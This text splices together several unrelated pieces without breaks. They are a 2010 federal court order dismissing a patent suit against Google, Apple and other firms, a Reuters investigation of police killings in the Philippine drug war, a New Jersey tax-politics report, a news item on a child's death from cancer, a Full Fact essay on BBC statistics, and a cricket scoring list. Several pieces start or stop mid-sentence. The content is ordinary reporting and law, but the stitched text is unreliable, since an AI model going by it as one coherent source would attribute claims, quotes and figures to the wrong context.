Defendants. CASE NO. C10-1385 MJP ORDER ON MOTIONS TO DISMISS This matter comes before the Court on Defendants Google, Inc.'s and YouTube LLC's motion to dismiss (Dkt. No. 62) in which Defendants Office Max, Inc., eBay, Inc., Netflix, Inc., Office Depot, Inc., Staples Inc., Yahoo! Inc., AOL Inc., and Facebook, Inc. join (Dkt. Nos. 74, 82, 84, 90, 92), and Defendant Apple Inc.'s motion to dismiss (Dkt. No. 80). Having reviewed the motions, Plaintiff Interval Licensing LLC's response (Dkt. No. 123), the replies (Dkt. Nos. 130, 131, 133, 135, 138, 139, 143), and all supporting papers, the Court GRANTS the motion and DISMISSES the complaint with leave to amend. (1) Background Plaintiff has filed a complaint against eleven defendants, arguing that they have variously infringed on four patents Plaintiff holds: (1) United States Patent No. 6,263,507 ('507 patent); (2) United States Patent No. 6,034,652 ('652 patent); (3) United States Patent No. 6,788,314 ('314 patent); and (4) United States Patent No. 6,757,682 ('682 patent). The allegations in the complaint are spartan. They identify the patent numbers and titles, as well as the nature of the business that developed the patents. Plaintiff then serially alleges that certain defendants have infringed on the patents. Plaintiff does not indicate with any specificity which of Defendants' products or devices infringe the patents. As to the '507 patent, Plaintiff alleges as that each Defendant except Facebook:... has infringed and continues to infringe on one or more claims of the '507 patent. [Each Defendant except Facebook] is liable for infringing the '507 patent under 35 U.S.C. § 271 by making and using websites, hardware, and software to categorize, compare, and display segments of a body of information as claimed in the patent. (Complaint ¶ 24; see id. ¶¶ 21-30.) As to the '652 patent, Plaintiff alleges that Defendants AOL, Apple, Google, and Yahoo! have "infringed and continue[] to infringe one or more claims in the '652 patent" and that they do so "by making, using, offering, providing, and encouraging customers to use products that display information in a way that occupies the peripheral attention of the user as claimed in the patent." ( See id. ¶¶ 33-36.) As to the '314 patent, Plaintiff alleges that AOL, Apple, Google, and Yahoo! have infringed on the claims of the patent by "making, using, offering, providing, and encouraging customers to use products that display information in a way that occupies the peripheral attention of the user as claimed in the patent." ( See id. ¶¶ 4042.) And as to the '682 patent, Plaintiff alleges that all Defendants have infringed on one or more claim of the patent "by making and using websites and associated hardware and software to (2) provide alerts that information is of current interest to a user as claimed in the patent." ( See id. ¶¶ 45-55.) Defendants move to dismiss the complaint on the theory that it lacks sufficient detail to satisfy Rule 8 and the Supreme Court's rulings in Ashcroft v. Iqbal, 129 S. Ct. 1937 (2009) and Bell Atl. Corp. v. Twombly, 550 U.S. 544 (2007). Analysis A. Standard "To survive a motion to dismiss, a complaint must contain sufficient factual matter, accepted as true, to'state a claim to relief that is plausible on its face.'" Iqbal, 129 S. Ct. at 1949 (quoting Twombly, 550 U.S. at 570). "Threadbare recitals of the elements of a cause of action, supported by mere conclusory statements, do not suffice." Id. (citing Twombly, 550 U.S. at 555). A plaintiff must "provide the 'grounds' of his 'entitle[ment] to relief.'" Twombly, 550 U.S. at 555 (citations omitted). "A pleading that offers 'labels and conclusions' or 'a formulaic recitation of the elements of a cause of action will not do.'" Iqbal, 129 S. Ct. at 1949 (quoting Twombly, 550 U.S. at 555). The Federal Rules of Civil Procedure provide Form 18 as the example complaint for patent infringement. The model complaint requires Plaintiff to set forth the patent number, the date on which the patent was issued and the general nature of the patented invention (in the case of the Form, an "electric motor"). The Form further requires an allegation that "[t]he defendant has infringed and is still infringing on the Letters Patent by making selling, and using electric motors that embody the patented invention, and that defendant will continue to do so unless enjoined by this court." Fed. R. Civ. P. Form 18 (emphasis in original). The Form thus requires some specificity as to defendant's product that purportedly infringes the patent. The parties (3) dispute whether Twombly and Iqbal made Form 18 inadequate to satisfy Rule 8. The Court does not find it necessary to determine whether Form 18 is no longer adequate under Twombly and Iqbal because Plaintiff's complaint fails to satisfy either the Supreme Court's interpretation of Rule 8 or Form 18. The Court disagrees with Plaintiff's argument that Twombly and Iqbal do not apply to patent suits. ( See Dkt. No. 123 at 4-5.) Plaintiff cites a Federal Circuit decision to suggest that notice pleading in patent suits is unchanged by Twombly. See McZeal v. Sprint Nextel Corp., 501 F.3d 1354, 1356-57 (Fed. Cir. 2008) (decided after Twombly but before Iqbal ). The court in McZeal did not make such a broad holding. Rather, the divided court, which was considering a pro se complaint to which a deferential standard applies, held that the plaintiff still had to "plead facts sufficient to place the alleged infringer on notice as to what he must defend." Id. at 1357 (citing Twombly, 550 U.S. at 565 n.10). The court made no attempt to hold that Twombly does not apply to the patent context. The Supreme Court has also made clear that its interpretation in Twombly has an extremely broad reach. After Twombly, the Court applied the same rule in the context of prisoner litigation in Iqbal. If the Supreme Court believes the Twombly rule applies in the context of both antitrust and prisoner litigation, there is no little reason to believe the Court would not also apply the rule to patent suits. Plaintiff has certainly not provided a convincing reason for this outcome. Indeed, even under McZeal's rationale (on which Plaintiff relies heavily), Plaintiff must identify sufficient facts about the allegedly infringing device to put Defendants on notice of their infringing conduct, as required by Iqbal and Form 18. Thus, the Court requires Plaintiff to assert sufficient facts as to the nature and identity of the purportedly infringing products and devices that form the basis of the complaint. These (4) allegations must "contain sufficient factual matter, accepted as true, to'state a claim to relief that is plausible on its face.'" Iqbal, 129 S. Ct. at 1949 (quoting Twombly, 550 U.S. at 570). B. Adequacy of the Pleadings Plaintiff's complaint does not satisfy Rule 8 or Form 18 because Plaintiff has failed to identify the infringing products or devices with any specificity. The Court and Defendants are left to guess what devices infringe on the four patents. Plaintiff only indicates that Defendants have websites, hardware, and software that infringe on the patents or that they are encouraging third parties to use products that infringe on the patents. This fails to indicate to Defendants which of their myriad products or devices may be at issue. These allegations are insufficient to put Defendants on "notice as to what [they] must defend." McZeal, 501 F.3d at 1357 (citing Twombly, 550 U.S. at 565 n.10). They are also too generic to satisfy Form 18. Plaintiff urges the Court and Defendants to have patience and simply await delivery of the infringement contentions as required by Local Rule. This ignores that Local Rules do not trump the Federal Rules of Civil Procedure or the Supreme Court's mandate in Twombly and Iqbal. Fed. R. Civ. P. 83(a)(1); Iqbal, 129 S. Ct. at 1950, 1953. Plaintiff's complaint is little more than labels and conclusions, which are inadequate under Twombly, Iqbal, and even Form 18. The Court GRANTS the motions to dismiss. The two cases Plaintiff relies on to support a different outcome are factually distinguishable. The court in McZeal considered a pro se complaint and employed the deferential standards that apply to such pleadings. McZeal, 501 F.3d at 1356 ("Where, as here, a party appeared pro se before the trial court, the reviewing court may grant the pro se litigant leeway on procedural matters, such as pleading requirements.") Here, Plaintiff is represented by counsel and no deferential standard applies. Moreover, the pro se plaintiff in McZeal (5) specifically identified the purportedly infringing product, a Motorola i930 cellular telephone. Id. at 1355. Plaintiff has failed to match the specificity that the pro se plaintiff in McZeal mustered. McZeal is thus distinguishable. Ware v. Circuit City Stores, Inc., et al., 4:05-CV-0156-RLV, 2010 WL 767094 (N.D. Ga. Jan. 5, 2010)), is also factually distinguishable and actually supports Defendants' position. ( See Dkt. No. 123 at 6, 9.) The court in Ware held that the plaintiffs' amended pleadings which only identified the name of the defendant and paraphrased 35 U.S.C. § 271(a) were inadequate to survive dismissal "[e]ven with the liberal notice pleading requirements of Rule 8." Ware, 2010 WL 767094, at *2. The court found plaintiffs' failed to identify the infringing device with adequate specificity, even though it used the word "apparatuses" to describe the infringing product. Id. Similar to the complaint in Ware, Plaintiff's complaint here fails to identify the purportedly infringing products with any reasonable specificity. The Court gives Plaintiff leave to file an amended complaint within 15 days of the scheduling conference, which is set to take place on December 13, 2010. This is the same date by which Plaintiff contends it will file its purportedly curative and detailed infringement contentions. See Local Patent Rule 120 (requiring disclosure of asserted claims and infringement contentions within 15 days of a scheduling conference); (Dkt. No. 123 at 10.) Thus, the task of amending the complaint with the necessary detail should not be onerous. In amending the complaint, Plaintiff must identify which of Defendants' products, devices, or schemes allegedly infringe on Plaintiff's patents. Plaintiff need not describe how the accused devices satisfy each limitation of each asserted claim. See McZeal, 501 F.3d at 1357. Plaintiffs should, where possible, set forth the specific websites that are at issue and identify the hardware and software with adequate detail for Defendants to know what portions of their business operations are in play in this litigation. Where possible, the Court urges Plaintiff to (6) identify the infringing hardware and software with any relevant product identifiers (e.g., SKUs, barcodes, or other identifiers) and descriptions. Plaintiff must also add greater factual detail as to the conduct or devices that make or encourage Defendants' customers to "use products that display information in a way that occupies the peripheral attention of the user" ( See, e.g., Compl. ¶¶ 33, 39.) This is consistent with Twombly and Iqbal, which require Plaintiff to identify the factual basis for its claims. See, e.g., Bender v. L.G. Elecs. U.S.A., Inc., No. C09-02114 JF (PVT), 2010 WL 889541, at *3 (N.D. Cal. Mar. 11, 2010). This is also consistent with Form 18, which requires identification of the product or device alleged to infringe on the patent. Conclusion Plaintiff's complaint lacks adequate factual detail to satisfy the dictates of Twombly and Iqbal. The complaint also fails to provide sufficient factual detail as suggested by Form 18. The Court GRANTS the motion to dismiss and gives Plaintiff leave to file an amended complaint by no later than December 28, 2010. The clerk is ordered to provide copies of this order to all counsel. Dated this 10th day of December, 2010. (signature)
Marsha J. Pechman
United States District Judge (7)A gun is placed inside a plastic bag as police investigate around the bodies of two men killed in Manila, Philippines in early October. Damir Sagolj, Reuters/file
MANILA - Norberto Maderal and George Avanceña made a fatal choice on the afternoon of October 19, the Philippine police say. The two pedicab drivers drew their guns in a slum in northern Manila and "tried to open fire" at plainclothes officers posing as drug buyers, according to the police report into their killings.
The officers defended themselves, resulting in what the report called "the instantaneous death of the suspects." Dante Novicio, the police chief of Navotas City, told Reuters his men shot the pair "almost simultaneously."
Maderal, 42, and Avanceña, 33, are casualties in President Rodrigo Duterte's "war on drugs." Police say that 2,004 people have been shot and killed by officers in self-defense during anti-drug operations since the president took office on July 1.
When the police open fire in Duterte's war, the suspects almost always die.
Reuters reviewed 42 drug-related shooting incidents involving the police in the Manila region covered by its journalists, as well as another 9 cases investigated in the same area by the government-funded Philippines' Commission on Human Rights. In these combined 51 cases, police officers killed a total of 100 suspects and wounded just three. Of the three people who were shot but survived in these cases, two played dead and the third was arrested as he tried to flee the scene.
The kill ratio is much higher than in countries with comparable drug-related violence.
The Brazilian state of Rio de Janeiro, where police have been accused of extrajudicial killings in a bloody crime crackdown, pales next to the Philippines under Duterte. For every five people the Rio police killed between 2013 and 2015, they injured one person, according to a Human Rights Watch report in July.
In the Philippine cases examined by Reuters and CHR, the police killed 97 percent of those they shot - 33 dead for every person wounded. A Philippine police spokesman said that no national statistics are available for injured drug suspects.
The figures pose a powerful challenge to the official narrative that the Philippines police are only killing drug suspects in self-defense. These statistics and other evidence amassed by Reuters point in the other direction: that police are pro-actively gunning down suspects.
'I PRAYED TO GOD'
Eyewitnesses interviewed for this article often contradicted the police version of events. Norberto Maderal's nephew told Reuters that his uncle was unarmed - and that he heard Maderal begging for his life before the police began shooting.
Efren Morillo, one of the rare survivors of a police raid, said he too was unarmed when an officer, standing a few feet away, shot him through the chest. As Morillo lay bleeding, feigning death, officers began shooting his companions. "I prayed to God to let me live," he said.
Asked why almost every police drug encounter ended with the suspect being killed, Derrick Carreon, spokesman for the Philippine Drug Enforcement Agency, chuckled: "I guess some cops are just good at shooting. They're probably good shots."
Further stretching the plausibility of official statements, a review of police reports shows that officers often give remarkably similar accounts each time a suspect is shot dead.
In their reports, officers describe the typical victim as an alleged user or small-time dealer in a poor neighborhood. The attempt by undercover police to catch the suspect dealing drugs - a so-called "buy-bust" operation - quickly goes wrong. The suspect panics, draws a weapon and starts shooting. The police return deadly fire.
Found on the victim's corpse is a.38 caliber revolver, often without a serial number, and plastic sachets of what police reports call "a white crystalline substance suspected to be shabu." Shabu is the street name for crystal methamphetamine, a highly addictive drug that Duterte's government has blamed for most of the serious crime in the Philippines.
Police crime-scene investigations and autopsies, meanwhile, are opaque and perfunctory. CHR investigators say that under Duterte they have had to subpoena police forensics units to get access to full autopsies and forensic reports. The secretiveness has fueled suspicion among bereaved families and human rights monitors that guns and drugs are planted on suspects at crime scenes.
To Jun Nalangan, a special investigator at CHR, the pattern of evidence points to murder. "The police report says there is a gun battle or a firefight," he said. "In our investigations, there is no such thing. Instead of drug bust operations, they are conducting extrajudicial killings."
LESS DEADLY FOR POLICE
In the poor neighborhoods targeted by Duterte, many people interpret the police force's apparent freedom to kill without consequence as proof of a nationwide shoot-to-kill policy. While more than 1,500 anti-drug operations have come under investigation by the police force's Internal Affairs Service (IAS) since the start of Duterte's drug war, no officers have been dismissed from the force for misconduct, an IAS official said.
Senior police officials say that IAS investigates all killings by officers. Chief Superintendent Leo Angelo Leuterio, the policeman who ran IAS until recently, told Reuters he was reluctant to prosecute officers while his country needed "warm bodies in the field" to fight the drug war.
For the police, the shootouts are far less deadly. Police say 17 officers have died in anti-drug operations across the country since July 1. That means one officer has died for every 118 suspects killed. In Rio, for every officer who died in 2015, 24.8 people were killed by police, a rate more than double that of South Africa and triple that of the United States, according to the Human Rights Watch report.
President Duterte has denied that the police are conducting extrajudicial killings. At the same time, he has welcomed the mounting death toll. In September, he said he'd be "happy to slaughter" three million drug addicts.
Duterte also has signaled to the police that they can act with impunity. In the run-up to the May presidential election, he said he would pardon members of the security forces - and himself - if they committed human rights abuses while fighting crime. "Pardon given to Rodrigo Duterte for the crime of multiple murder, signed Rodrigo Duterte," he told a group of business people in Manila in April.
In a statement to Reuters, the Presidential Communications Office said Duterte hasn't given the police license to kill drug dealers, but officers have a right to defend themselves when their lives are in danger. "The drug war is not child's play," the statement said.
In one key area, the police do depart from Duterte's stated game plan. The president and his senior officials routinely warn that "drug lords" will be taken down. So far, almost all the victims have been poor, like Maderal and Avanceña, the two pedicab drivers who were shot dead by police in Navotas City in October.
QUIVERING WITH SHOCK
Maderal's nephew, Joemari Rodriguez, and other family members shared a house in North Bay Boulevard South, a district of teeming slums and trash-choked waterways in Navotas City. Reuters interviewed Rodriguez at the scene, less than two hours after the killings.
Rodriguez said he believes police executed his uncle but is too scared to lodge a complaint. "They might come back for me," he told Reuters outside the house.
Still quivering with shock, he said three plainclothes men barged into their home and dragged his uncle into the living room. "They didn't say who they were," said Rodriguez, 24, a medical technician.
Rodriguez said a man pushed him into his room and the door was held shut from the outside. Rodriguez couldn't see what happened next but said he could clearly hear his uncle pleading for his life. "He was begging them, 'Sir, please!'" he said. Then came two shots.
Minutes later, Rodriguez emerged from his room to find the men gone and his uncle slumped in a puddle of blood. "There was a gun in his hand," said Rodriguez. "I don't know where he got this." He said his uncle was a drug user, but didn't own a gun and hadn't fought back.
Within five minutes of the shooting, said Rodriguez, uniformed police arrived to seal off the scene. Then, five to 10 minutes later, Rodriguez heard two more shots. He said this was when George Avanceña, a friend of Maderal who was hiding in a back room, was shot.
Two neighbours - Ruby Miradora, 49, a street sweeper, and Norminda Barbo, 38, a housewife - echoed Rodriguez's account. They said they had heard two gunshots and then, 10 to 15 minutes later - after uniformed police had arrived - two more shots.
A FAMILIAR PATTERN
The killings of Maderal and Avanceña followed a familiar pattern described by eyewitnesses. Gunmen in civilian clothes burst into a home without identifying themselves. Suspects are moved away from relatives and other potential witnesses to a secluded spot or a different room, then shot dead by police. Many families also say the victims couldn't have fought back because they didn't own guns.
Dante Novicio, the Navotas City police chief, told Reuters he stood by his officers' claim that Maderal and Avanceña were armed and were shot moments apart. Contradictory accounts were "allegations to confuse the result of the investigation" and discredit his men, he said.
Maderal and Avanceña are two of 18 people police say they have killed in anti-drug operations in North Bay Boulevard South. An additional 14 bodies have been found in the district, most of them near C-3 bridge, a local dumping ground for victims.
The killings are part of a vast anti-drug campaign whose impact has been felt nationwide. Police say they have arrested more than 38,000 people. And over 800,000 drug users and pushers have registered with the authorities, a process known as "surrendering."
In addition to the 2,004 drug suspects killed by officers, police are investigating another 3,060 deaths, though it isn't clear how many of those are drug-related. Human rights monitors believe many of these people were killed by vigilantes operating with the backing of police - a charge the police and the government deny.
The police version of the August 21 shooting of Efren Morillo and four others in another poor Manila neighborhood closely follows the pattern of other killings. The police report says that the suspects opened fire, and that four guns and shabu were found at the scene.
But there was one difference: Morillo survived. The 28-year-old fruit vendor played dead until the police left.
Morillo said in an interview that he was standing only three paces from the police officer who shot him in the chest. He collapsed. A friend fell dead beside him, blood spewing from his mouth and head. Nearby, he said, police killed three other companions.
That night, said Morillo, only the police had guns. The officers appeared relaxed when they arrived. Two were carrying fighting cocks in baskets. "This is the police!" one of the officers joked. "No one run! Our fighting cocks might get squished."
Morillo said he has no criminal record or involvement with drugs. Even as he was being led around the back of his friend's shack by the police, Morillo thought the worst that could happen was that he would be photographed and arrested.
Then the police started shooting. Morillo was hit first and collapsed into a chair. Pretending to be dead, he said, he heard three of his companions outside crying before they were shot.
'DAGGER LOOKS'
The police left. Holding his shirt to his wounds, Morillo slid down a nearby hill, waded across a creek and then struggled up the other bank, where he chanced upon a friend who drove him to a clinic. In an interview at CHR headquarters in Manila in early November, he lifted his shirt to reveal his scarred chest. The bullet that passed through him missed his heart and lungs.
He said his family had sold their home to pay his medical bills and other expenses. When the police discovered he was still alive, they pressed charges against him for assaulting a police officer. He turned to the Commission on Human Rights, which is helping defend him.
Fearing for his life, he rarely goes outside and has stopped working. A daily CHR stipend of 150 pesos, about three dollars, isn't enough to feed his two sons, aged 8 and 9, he said. Morillo must also face his alleged attackers in court; one of them, he said, had shot him "dagger looks" during his first court hearing.
The most outspoken opponent of Duterte's crackdown, Senator Leila de Lima, says the drug busts are designed to be lethal. "These operations are not meant to just apprehend or arrest the drug suspects but really to liquidate them," she said in an interview.
At an August Senate inquiry, de Lima, a former justice secretary, quizzed national police chief Ronald Dela Rosa about the killings. At that time, police had killed 756 suspects.
"All resisted arrest?" asked an incredulous de Lima. "Yes, they resisted," replied Dela Rosa. "Otherwise, they are alive today," he added. His response provoked disbelieving laughter.
In November, the National Bureau of Investigation charged de Lima with involvement in the illegal drug trade at a national jail. De Lima called the charges "trumped up," part of a harassment campaign by Duterte and his allies.
The mounting death toll is putting pressure on the police force's forensics unit, the Scene of Crime Operatives (SOCO). Officers routinely work 24-hour or even 48-hour shifts, its chief, Reynaldo Calaoa, told Reuters. From the moment a suspect is shot to the time the funeral parlor gives his or her body to the family for the wake, SOCO controls almost every process by which forensic evidence is gathered.
SIGNS OF 'TATTOOING'
Forensic evidence can be vital in determining whether cops or witnesses are telling the truth. But in the Philippines, police forensic scientists are underfunded and overwhelmed, and the evidence they produce is hard for CHR investigators to access. The crime laboratory at the police headquarters at Camp Crame in Manila has only two dissection tables and no cold storage for bodies, SOCO said. It also lacks an X-ray machine to scan corpses for bullet fragments.
Instead, SOCO performs most of its autopsies at police-accredited but privately owned funeral parlors, which act as both official morgues and crime labs. The funeral parlor then embalms the body before it is given to the family for the wake.
SOCO autopsies are mandatory and usually take place at the funeral parlor within hours of the body's arrival. The full autopsy reports are not released to the families. CHR investigators told Reuters they had to subpoena |
this state," Sweeney said during a panel discussion with his fellow legislative leaders about their plans for 2018.
The issue: Trump and the GOP say their plans will reduce taxes on businesses and individuals across the nation. But they would partially pay for the cuts by either eliminating or curtailing the federal deduction for state and local taxes. Critics say that would hammer New Jersey taxpayers, who pay the highest property taxes in the U.S.
A new study shows taxpayers in the state -- who already send $31 billion more to the federal government than they receive in services -- would see their federal income taxes rise by another $137 million under the measure up for a vote in the U.S. House of Representatives on Thursday.
How the tax plans would affect N.J.
The debate comes after New Jersey Democrats scored big victories in last Tuesday's elections. Murphy won the race to succeed Republican Gov. Chris Christie and Democrats expanded their control of the state Legislature by three seats.
One of Murphy's goals is to ramp up spending by $1.3 billion for education, transportation, and public-worker pensions. A key plank of that plan is to institute a so-called "millionaire's tax" on wealthy residents.
Sweeney said last week the Senate's top priority in the new year is passing the tax. But he expressed caution Wednesday.
"I'm actually very concerned for the people of this state if this Trump tax happens, and I think we're going to have to re-evaluate everything once that happens," Sweeney said.
"Because if you're going to add thousands of dollars to people's budgets," he added, "then we're going to have to sit down with Phil Murphy and say, 'How do we go forward and how do we make it work?'"
Sweeney stressed he isn't "backing away" from the millionaire's tax but that what's happening in Congress "has to be taken into consideration."
"I've said it's the top priority," he added. "But I'm actually getting very, very nervous now with what's happening in Washington."
"If that happens, they should not let Trump go to his golf course," Sweeney told reporters after the panel about the president, who owns three private golf clubs in the Garden State. "They should keep him out of New Jersey."
Spokespeople for Murphy did not immediately return a message seeking comment Wednesday.
The U.S. Senate and House -- both controlled by Republicans -- are considering dueling tax bills. Senate Republicans would axe the entire sales and local tax deduction, while House Republicans would cap the deductions at $10,000. Either way, that would hurt high-tax states like New Jersey, New York, California, and Virginia.
The House bill is expected to pass Thursday. The Senate bill's future is uncertain. Both houses of Congress would need to pass identical versions of the measure before Trump can sign it.
A number of Trump surrogates have visited New Jersey in recent days to push the tax overhaul, including daughter Ivanka Trump, U.S. Treasury Secretary Steve Mnuchin, and White House counselor Kellyanne Conway, a Garden State native. They say the cuts are needed to simplify the country's tax code and boost the economy.
Christie, a longtime Trump friend, also supports the overhaul.
But 10 of New Jersey's 12 members of Congress are against it -- including three of five Republicans.
On Wednesday, New Jersey's top Republican state-level lawmakers -- Senate Minority Leader Tom Kean Jr. and Assembly Minority Leader Jon Bramnick, both R-Union -- both said the deductions should not be killed.
"I hope that our representatives stand up in Washington," Bramnick said during the panel. "This is something we have to fight against." "What you want is fairness, and fairness should be across the country," he added. "No state should be punished."
Kean, however, said he expects the GOP's final bill will include the deductions.
Both Sweeney and incoming Assembly Speaker Craig Coughlin, D-Middlesex, warned that Republicans in New Jersey -- where Trump is already deeply unpopular -- could suffer even more election losses in the future if the measure is enacted.
"I wouldn't want to be a Republican running the next few years if they pass this," Sweeney said.
Said Coughlin: "It's a test for the Republican Party. If you want to be in charge, you've got to be in charge of everybody."
Neither Murphy nor legislative leaders have introduced details of a millionaire's tax. But the most recent version of such a bill would increase the marginal tax rate on New Jersey residents with income over $1 million from 8.97 percent to 10.75 percent.
NJ Advance Media staff writers Matt Arco and Jonathan D. Salant contributed to this report.
Brent Johnson may be reached at bjohnson@njadvancemedia.com. Follow him on Twitter @johnsb01. Find NJ.com Politics on Facebook.BRANTFORD — Evan Leversage, the seven-year-old boy who brought Christmas to the small town of St. George two months early, has died.
"I was holding him as he took one last deep breath and I knew at that very moment, that this would be his last," said his mother, Nicole Wellwood, in a news release Sunday. "He died with the most beautiful smile on his face … Evan will always be with me in my heart."
Evan, who battled brain cancer for most of his young life, made headlines internationally when homes and businesses in the Ontario town put their Christmas decorations up in October, after doctors told his family he was unlikely to live to Christmas and they should celebrate early.
[Early Christmas created for cancer-stricken boy]
What started as a simple request — asking neighbours to put up some lights for Evan — soon took over the whole town, and thousands came to St. George to celebrate with him during a Santa Claus parade.
Not quite two weeks after that Christmas miracle, Evan was moved to the Stedman Community Hospice in Brantford, where the celebration continued. His room was decorated for the holidays and he was visited by friends, family and supporters.
Cards, messages of encouragement and well wishes poured in from around the world, and Wellwood said the kind words were a source of comfort and happiness to her son even as his condition worsened.
In the months before Evan entered the hospice he managed to check off every item on his "bucket list," a litany of wishes that were the best of any seven-year-old's dreams. He visited Niagara Falls, saw a Maple Leafs game, watched Hotel Transylvania 2 with his best friend and ate at Chuck E. Cheese's.
[7,000 attend early Christmas parade for cancer stricken Evan]
Over the past week, Evan's health began to fail. His mischievous smile was absent as he spent his days sleeping, too tired to even swallow the slivers of ice cubes that kept him going.sThe BBC has a unique position in British society, with a reputation for fairness, impartiality, and usefulness. But to maintain these characteristics, journalists need to be much more careful about how they scrutinise and present statistics to the public, write Amy Hawkins and Phoebe Arnold.
How much does the UK contribute to the EU each week? How tired did you get of hearing that question, and of the inaccurate answer that it’s £350 million? Even if you didn’t watch the debates or read the op-eds, it was hard to miss the pictures of Boris Johnson and other high-profile Vote Leave campaigners standing in front of a big red bus with the inaccurate £350 million statistic emblazoned across the side.
Misleading claims supported by murky statistics were used on both sides of the EU referendum debate. But the £350 million claim became the iconic slogan of the Leave campaign, and helped to show why the BBC needs to be braver in challenging statistical assertions if it is to be a useful public service.
It’s encouraging to see the recommendations in this report seeking to address the concerns raised in our evidence. We were pleased to see many of our recommendations cited in the Trust’s report. The report says the BBC’s editorial guidelines should include a section on use of statistics. In this section the BBC could help journalists by obliging them to take more notice of what the UK’s statistics watchdog is saying about politicians’ use of statistics. The guidelines should include a clause saying that when the UK Statistics Authority identifies a claim as false, this should be pointed out by journalists when their interviewee attempts to make that claim on a BBC platform.
Even though some journalists did point out that the UK Statistics Authority had shown the £350m figure to be false, Ipsos MORI found that half of the public thought the claim was correct. If there had been a rule obliging journalists to make clear when a figure had been called out by the official independent regulator, many voters might have gone to the polls with a more accurate view of our relationship to the EU—regardless of the outcome.
Last year the Joseph Rowntree Foundation funded Full Fact to produce a report: “How did the Media and Politicians in the UK Discuss Poverty in 2015?” One of the most striking findings was that inaccurate claims often get a free ride on the airwaves. A presenter fails to challenge a claim that’s been prominently called out, or leaves that responsibility to the opposing interviewee (who may also be wrong).
There’s a compelling example of this in the BBC Trust’s report:
In an interview on the Today programme on the Government’s proposals to cut working tax credits on 26 October 2015, Matthew Hancock, MP (a government spokesperson) made a claim that “... by next year eight out of ten people will be better off as a result [of the Government’s proposal]...”[…] This claim had been heavily refuted by organisations such as the Institute for Fiscal Studies, who concluded that it was “arithmetically impossible” for losses in tax credit cuts to be mitigated by increases in the NMW. Rather than challenging this statistical claim, however, the presenter on the Today programme simply stated, “Well, we will hear the opposition view on that from Labour and the Liberal Democrats later in the programme.
In order for journalists to effectively challenge claims, they first need to be able to effectively scrutinise them. And sometimes they need help with this.
Another highlight of the report is that the BBC needs to increase its own statistical capacity, especially for out-of-hours journalists. The report’s authors were “surprised that an organisation the size of the BBC, with a high (and increasing) volume of statistics in its outputs, does not itself have an explicitly expert statistical capability.”
We were not so surprised. During the general election last year, we had journalists from a flagship morning programme calling us in the middle of the night. They needed help analysing the statistics in a report that had been dumped on them as part of the next morning’s news, and they didn’t have anyone else to go to.
We were more than happy to help. But the BBC is orders of magnitude bigger than Full Fact, and not every journalist on every show knows about us (yet). A system that relies on personal contacts and ad hoc advice is not one that is sustainable for an organisation the size and influence of the BBC — especially in a public debate which is increasingly dominated by statistics and big data.
The BBC’s complaints procedure is another area that relies too heavily on personal relationships. Its Complaints Framework specifies that “the complaints process should be quick and simple.” We have long found it to be anything but. Back in 2013, we asked for a correction to an inaccurate BBC News article reporting on the social care gap. The Daily Mail corrected the online version of its article within four hours; the BBC took 50 days.
Public debate moves quickly, and this kind of sluggishness massively dilutes the impact a correction can have on the public’s understanding of the issue at hand. That’s why we now get corrections by contacting individual journalists, using relationships built up over a number of months and years. This obviously isn’t an option for the majority of the people, nor should it need to be.
Finally, if the BBC is to be impartial, journalists need to be much more careful about covering unpublished research. If a programme’s audience can’t check where the figures in a news item have come from, how can we be expected to place trust in its impartiality?
In March 2014, the BBC announced that Panorama would be discussing the “Great NHS Robbery”: an investigation of fraud and error across the NHS, saying that this cost £7 billion per year — a claim the NHS disputed. The research was not published until late in the afternoon on the day of the broadcast. When it was published, it became apparent that there was no £7 billion figure, but there was hardly any time to correct the analysis.
Many people are, not unfairly, numbed by the endless slinging of conflicting statistics across a panel by people on opposite sides of a debate. Our work at Full Fact is to demonstrate what these numbers mean, what they can show you, and what they can’t. But BBC journalists should be doing this too. The research that went into the BBC Trust’s report found that:
…many news programmes – particularly in the evening bulletins – allow[ed] competing sources to make statistical references, with no journalists or independent experts making a judgement about the veracity or credibility of either claim.
This leaves the BBC, and therefore its audiences, wanting. During the EU referendum, we repeatedly heard people saying that they just wanted ‘the facts’. If they couldn’t get them at the BBC, whose TV programmes are where most people get their news, what hope is there?
In six months’ time…
The BBC says it will hold a six month review to see how well certain programmes are doing at holding people in public office to account. In the first six months the focus will be on the Today programme, Breakfast and on 5 Live Drive. We’ll be gathering our own evidence to see whether they’re following the BBC Trust’s recommendations successfully.
The BBC has a unique position in British society, with a reputation for fairness, impartiality, and usefulness — it must be held to this standard, especially for statistics, if this reputation is to be well-founded.
______
Note: this article was originally published on openDemocracy.
About the Authors
Amy Hawkins is executive assistant to the director of Full Fact.
Phoebe Arnold is Senior Communications Officer at Full Fact.
Image credit: Kyle Cheung CC BY-NC-NDAs Mohit Ahlawat’s incredible triple-century in a local Twenty20 match in Delhi continues to have the cricket world buzzing it had us asking, who holds the record for the highest individual T20 score in a professional match?
The list below features five of the biggest hitters on the planet, and it’s no surprise who comes in at No.1.
Here are the top six highest individual scores in professional T20 cricket (domestic and international).
153no by Luke Wright
Essex vs Sussex, Chelmsford, July 2014
The numbers
Runs: 153 | Balls: 66 | Fours: 12 | Sixes: 11 | Strike rate: 231.81
The knock
Chasing a whopping 226 to win, Sussex and Melbourne Stars opener Luke Wright lost his opening partner Chris Nash from the third ball of the pursuit to be 1-0. Unfazed, Wright set about the mountainous challenge, reaching his half-century from 26 balls. That’s when the right-hander erupted. He hit ball No.27 for six, followed by a brace of maximums in the 11th over. Two overs later, Graham Napier was banished for a hat-trick of fours before the Englishman raised his bat for a century from 47 deliveries. But Wright wasn’t done yet. A six and a four were smashed off Reece Topley then two more sixes from Ravi Bopara’s medium pacers. Wright’s final six – his 11th of the evening – brought victory within four runs, which were easily accumulated two balls later to win with nine balls to spare.
156 by Aaron Finch
Australia vs England, Southampton, August 2013
The numbers
Runs: 156 | Balls: 63 | Fours: 11 | Sixes: 14 | Strike rate: 247.61
The knock
